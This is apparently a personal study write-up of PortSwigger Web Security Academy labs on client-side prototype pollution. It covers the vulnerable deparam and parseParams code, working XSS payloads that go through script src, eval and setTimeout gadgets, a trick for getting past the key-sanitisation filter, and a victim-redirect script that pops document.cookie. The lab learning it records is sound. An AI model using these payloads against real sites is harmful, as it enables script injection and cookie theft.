Finding Client-side Prototype Pollution Sources Manually
Finding prototype pollution sources manually is largely a case of trial and error.
When testing for client-side vulnerabilities, this involves the following high-level steps:
- Try to inject an arbitrary property via the query string, URL fragment, and any JSON input. For example:
vulnerable-website.com/?__proto__[foo]=bar
. - In your browser console, inspect
Object.prototype
to see if you have successfully polluted it with your arbitrary property. - If the property was not added to the prototype, try using different techniques, such as switching to dot notation rather than bracket notation, or vice versa:
vulnerable-website.com/?__proto__.foo=bar
.
Finding Client-side Prototype Pollution Sources Using DOM Invader
DOM Invader is able to automatically test for prototype pollution sources as you browse, which can save you a considerable amount of time and effort.
Finding Client-side Prototype Pollution Gadgets Manually
Once you’ve identified a source that lets you add arbitrary properties to the global Object.prototype
,
-
Add a
debugger
statement at the start of the client-side script. -
While the script is still paused, switch to the console and enter the following command, replacing
YOUR-PROPERTY
with one of the properties that you think is a potential gadget:Object.defineProperty(Object.prototype, 'YOUR-PROPERTY', { get() { console.trace(); return 'polluted'; } })
-
If a stack trace appears, this confirms that the property was accessed somewhere within the application.
-
Expand the stack trace and use the provided link to jump to the line of code where the property is being read.
-
Using the browser’s debugger controls, step through each phase of execution to see if the property is passed to a sink, such as
innerHTML
oreval()
.
Finding Client-side Prototype Pollution Gadgets Using DOM Invader
Given that websites often rely on a number of third-party libraries, manually identifying prototype pollution gadgets may involve reading through thousands of lines of minified or obfuscated code, which makes things even trickier.
DOM Invader can automatically scan for gadgets on your behalf and can even generate a DOM XSS proof-of-concept in some cases.
Lab: DOM XSS via Client-side Prototype Pollution
Turn on DOM Invader, try to search something and found some sources in search
param of /
endpoint.
One of them is:
/?search=hello&__proto__[testproperty]=DOM_INVADER_PP_POC
We also can use the pollution payload without search
param:
/?__proto__[testproperty]=DOM_INVADER_PP_POC
There are 2 client-side script files: searchLogger.js
and deparam.js
.
// searchLogger.js
async function logQuery(url, params) {
try {
await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
} catch(e) {
console.error("Failed storing query");
}
}
async function searchLogger() {
let config = {params: deparam(new URL(location).searchParams.toString())};
if(config.transport_url) {
let script = document.createElement('script');
script.src = config.transport_url;
document.body.appendChild(script);
}
if(config.params && config.params.search) {
await logQuery('/logger', config.params);
}
}
window.addEventListener("load", searchLogger);
The query params (new URL(location).searchParams.toString()
) will be passed into deparam()
function which comes from deparam.js
file.
The following code snippet in deparam.js
is responsible for polluting the Object.prototype
:
if ( keys_last ) {
for ( ; i <= keys_last; i++ ) {
key = keys[i] === '' ? cur.length : keys[i];
cur = cur[key] = i < keys_last
? cur[key] || ( keys[i+1] && isNaN( keys[i+1] ) ? {} : [] )
: val;
}
Where:
keys_last: 1
i: 0
keys: ["__proto__", "testproperty"]
cur: {}
val: "DOM_INVADER_PP_POC"
First iteration:
key = "__proto__"
cur["__proto__"] = {}
cur = cur[__proto__]
. At this stepcur
points to its prototype which is global prototype (Object.prototype
).
Second iteration:
key = "testproperty"
cur["testproperty"] = "DOM_INVADER_PP_POC"
. This will polluteObject.prototype
withtestproperty
property.cur = "DOM_INVADER_PP_POC"
Hit the “Scan for gadgets” button and found a sink. Its stack trace:
at _0x56d282 (<anonymous>:2:743834)
at Object.EAULH (<anonymous>:2:382702)
at HTMLScriptElement.set [as src] (<anonymous>:2:383828)
at searchLogger (https://0a1c00630488f36280c2121e004100e7.web-security-academy.net/resources/js/searchLogger.js:14:20)
The last stack call would be this code snippet in searchLogger()
function of searchLogger.js
file:
let config = {params: deparam(new URL(location).searchParams.toString())};
if(config.transport_url) {
let script = document.createElement('script');
script.src = config.transport_url;
document.body.appendChild(script);
}
Obviously, config
will not have transport_url
property and this property will be used as src
for the <script>
tag.
To sum up:
- Source:
search
param - Gadget:
transport_url
property - Sink:
<script>
tag
Final payload:
/?search=hello&__proto__[transport_url]=data:,alert('xss');
Where data:,alert('xss')
is a syntax to write and execute JavaScript in URL bar, which can be used as an URL.
Lab: DOM XSS via an Alternative Prototype Pollution Vector
The source of this lab is the same with the previous lab, which is the search
param.
Payload is a bit different (use .
instead of []
):
/?search=hello&__proto__.testproperty=DOM_INVADER_PP_POC
Hit the “Scan for gadgets” button and found a sink. Its stack trace:
at _0x56d282 (<anonymous>:2:743834)
at Object.NRkhM (<anonymous>:2:104467)
at Object.JRrUi (<anonymous>:2:349123)
at _0x6b6954.<computed> (<anonymous>:2:374901)
at searchLogger (https://0a2900c80477688390c95d5000e7004f.web-security-academy.net/resources/js/searchLoggerAlternative.js:18:5)
Source code in searchLoggerAlternative.js
:
async function logQuery(url, params) {
try {
await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
} catch(e) {
console.error("Failed storing query");
}
}
async function searchLogger() {
window.macros = {};
window.manager = {params: $.parseParams(new URL(location)), macro(property) {
if (window.macros.hasOwnProperty(property))
return macros[property]
}};
let a = manager.sequence || 1;
manager.sequence = a + 1;
eval('if(manager && manager.sequence){ manager.macro('+manager.sequence+') }');
if(manager.params && manager.params.search) {
await logQuery('/logger', manager.params);
}
}
window.addEventListener("load", searchLogger);
The pollution happens in $.parseParams()
method. Specifically, it comes from a source file named jquery_parseparams.js
.
In parseParams()
function, there is a loop to parse key-value pairs from query string:
var params = {}, e;
if (query) {
// ...
while (e = re.exec(query)) {
var key = decode(e[1]);
var value = decode(e[2]);
createElement(params, key, value);
}
// ...
}
return params;
First iteration:
params: {}
key: "search"
value: "hello"
Second iteration:
params: {"search": "hello"}
key: "__proto__.testproperty"
value: "DOM_INVADER_PP_POC"
The createElement()
function:
// Simple variable: ?var=abc returns {var: "abc"}
// Simple object: ?var.length=2&var.scope=123 returns {var: {length: "2", scope: "123"}}
function createElement(params, key, value) {
key = key + '';
// if the key is a property
if (key.indexOf('.') !== -1) {
// extract the first part with the name of the object
var list = key.split('.');
// the rest of the key
var new_key = key.split(/\.(.+)?/)[1];
// create the object if it doesnt exist
if (!params[list[0]]) params[list[0]] = {};
// if the key is not empty, create it in the object
if (new_key !== '') {
createElement(params[list[0]], new_key, value);
} else console.warn('parseParams :: empty property in key "' + key + '"');
} else
// if the key is an array
if (key.indexOf('[') !== -1) {
// ...
} else
// just normal key
{
if (!params) params = {};
params[key] = value;
}
As we know, at the second iteration, the key has .
inside it so the first if
statement is taken:
list: ["__proto__", "testproperty"]
new_key: "testproperty"
Then, the following if
condition will invoke createElement()
function recurvesively:
if (new_key !== '') {
createElement(params[list[0]], new_key, value);
}
Its arguments:
params[list[0]]: Object.prototype => params
new_key: "testproperty" => key
value: "DOM_INVADER_PP_POC" => value
Then, when called, createElement()
function will add a property named "testproperty"
with value is "DOM_INVADER_PP_POC"
to Object.prototype
via the last else
statement:
else
// just normal key
{
if (!params) params = {};
params[key] = value;
}
In the above code:
params: Object.prototype
key: "testproperty"
value: "DOM_INVADER_PP_POC"
This is when Object.prototype
is polluted.
Next, we focus on this code snippet in searchLoggerAlternative.js
file:
let a = manager.sequence || 1;
manager.sequence = a + 1;
eval('if(manager && manager.sequence){ manager.macro('+manager.sequence+') }');
We can pollute the sequence
property as it will be passed into eval()
function.
To sum up:
- Source:
search
param - Gadget:
sequence
- Sink:
eval()
Payload
/?search=hello&__proto__.sequence=)};alert('xss');//
Explanation:
)}
is used for closingmacro()
function as well as the code block.;
is used for separating statements.alert('xss');
is the code we want to execute.//
is used for commenting the remaining code in the context.
Prototype Pollution via the Constructor
A common defense is to strip any properties with the key __proto__
from user-controlled objects before merging them. This approach is flawed as there are alternative ways to reference Object.prototype
without relying on the __proto__
string at all.
Unless its prototype is set to null
, every JavaScript object has a constructor
property, which contains a reference to the constructor function that was used to create it.
Remember that functions are also just objects under the hood. Each constructor function has a prototype
property, which points to the prototype that will be assigned to any objects that are created by this constructor.
myObject.constructor.prototype // Object.prototype
myString.constructor.prototype // String.prototype
myArray.constructor.prototype // Array.prototype
As myObject.constructor.prototype
is equivalent to myObject.__proto__
, this provides an alternative vector for prototype pollution.
Bypassing Flawed Key Sanitization
An obvious way in which websites attempt to prevent prototype pollution is by sanitizing property keys before merging them into an existing object.
Lab: Client-side Prototype Pollution via Flawed Sanitization
This lab has gadget and sink similar to Lab DOM XSS via Client-side Prototype Pollution, which are transport_url
and script.src
.
But there is a sanitizeKey(key)
function in searchLoggerFiltered.js
file:
async function logQuery(url, params) {
try {
await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
} catch(e) {
console.error("Failed storing query");
}
}
async function searchLogger() {
let config = {params: deparam(new URL(location).searchParams.toString())};
if(config.transport_url) {
let script = document.createElement('script');
script.src = config.transport_url;
document.body.appendChild(script);
}
if(config.params && config.params.search) {
await logQuery('/logger', config.params);
}
}
function sanitizeKey(key) {
let badProperties = ['constructor','__proto__','prototype'];
for(let badProperty of badProperties) {
key = key.replaceAll(badProperty, '');
}
return key;
}
window.addEventListener("load", searchLogger);
The replaceAll
does not replace recursively so we can obfuscate like this:
/?search=hello&__pro__proto__to__.testproperty=DOM_INVADER_PP_POC
The payload after sanitization will be:
/?search=hello&__proto__.testproperty=DOM_INVADER_PP_POC
There is another problem comes from deparam()
function: the pollution only happens when we use []
instead of .
notation.
This is because the code block that causes prototype pollution only be executed if its if
condition is satisfied:
if ( keys_last ) {
for ( ; i <= keys_last; i++ ) {
key = keys[i] === '' ? cur.length : keys[i];
cur = cur[sanitizeKey(key)] = i < keys_last
? cur[sanitizeKey(key)] || ( keys[i+1] && isNaN( keys[i+1] ) ? {} : [] )
: val;
}
}
To make keys_last
become truthy, we need to satisfy this code block:
keys = key.split( '][' ),
keys_last = keys.length - 1;
if ( /\[/.test( keys[0] ) && /\]$/.test( keys[ keys_last ] ) ) {
keys[ keys_last ] = keys[ keys_last ].replace( /\]$/, '' );
keys = keys.shift().split('[').concat( keys );
keys_last = keys.length - 1;
}
Which implies that the property we use need to be square brackets.
Modified payload:
/?search=hello&__pro__proto__to__[transport_url]=data:,alert('xss');
Prototype Pollution in External Libraries
In this case, we strongly recommend using DOM Invader’s prototype pollution features to identify sources and gadgets. Not only is this much quicker, it also ensures you won’t miss vulnerabilities that would otherwise be extremely tricky to notice.
Lab: Client-side Prototype Pollution in Third-party Libraries
This lab requires executing alert(document.cookie)
in the browser.
Use DOM Invader and find a source come from fragment:
/#cat=13371&__proto__[testproperty]=DOM_INVADER_PP_POC
Also found a gadget named hitCallback
and a sink named setTimeout
via “Scan for gadgets” button.
Final payload:
/#cat=13371&__proto__[hitCallback]=alert(document.cookie)
Deliver to victim via exploit server:
<script>
location="https://0adf00500362c0cd87a7adaf0085006b.web-security-academy.net/#__proto__[hitCallback]=alert%28document.cookie%29"
</script>
Related
list
from outgoing([[Port Swigger - Client-side Prototype Pollution Vulnerabilities]])
sort file.ctime asc